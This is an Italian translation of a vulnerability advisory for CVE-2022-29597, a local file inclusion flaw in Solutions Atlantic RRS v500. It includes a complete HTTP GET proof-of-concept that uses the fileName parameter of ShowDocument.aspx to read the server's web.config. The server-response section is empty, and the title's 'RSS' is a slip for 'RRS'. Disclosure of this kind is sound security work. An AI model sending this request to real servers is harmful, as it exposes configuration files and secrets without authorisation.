CVE-2022-29597: Inclusione di File Locali in RSS v500

L'applicazione RRS v500 di Solutions Atlantic è vulnerabile a una vulnerabilità di Inclusione di File Locali (LFI). Qualsiasi utente autenticato ha la possibilità di fare riferimento a file di sistema interni nelle richieste effettuate alla pagina /RRSWeb/maint/ShowDocument/ShowDocument.aspx. Il server risponderà con successo con il contenuto del file di sistema interno richiesto. Questa capacità potrebbe consentire agli avversari di estrarre dati sensibili e/o file dal file system sottostante, acquisire conoscenze sul funzionamento interno del sistema o accedere al codice sorgente dell'applicazione.

Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29597

NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-29597

Prova di Concerto (POC):

Funzionalità Mostra Documento:

URL affetto:

• /RRSWeb/maint/ShowDocument/ShowDocument.aspx

Durante l'apertura o il download di un PDF dal sito RRS, viene effettuata una richiesta all'URL affetto che include un parametro fileName. Questo parametro potrebbe essere modificato per includere un percorso di sistema interno, come web.config. Il server servirà quindi il file richiesto.

Richiesta GET con percorso interno a web.config:

GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?fileName=C:\\Program%20Files\\Solutions%20Atlantic\\RRS\\RRSWeb\\web.config HTTP/1.1
Host: <REDACTED>
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://<REDACTED>/RRSweb/default.aspx
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=<REDACTED>; ASP.NET_SessionId=<REDACTED>
Connection: Keep-Alive

Risposta del server:

Scoperta

Aprile 2022

• Eric Getchell - TheGetch